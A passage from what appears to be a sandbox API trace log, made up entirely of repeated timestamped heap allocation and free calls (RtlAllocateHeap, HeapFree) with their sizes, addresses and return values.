returned 1 [0113.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0113.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.376] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.376] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.377] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.377] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.378] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.378] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.379] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.379] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.380] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.380] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.381] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.381] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecdf8 | out: hHeap=0x5010000) returned 1 [0113.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecdf8 [0113.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.382] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.382] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.382] HeapFree (in: hHeap=0x5010000, 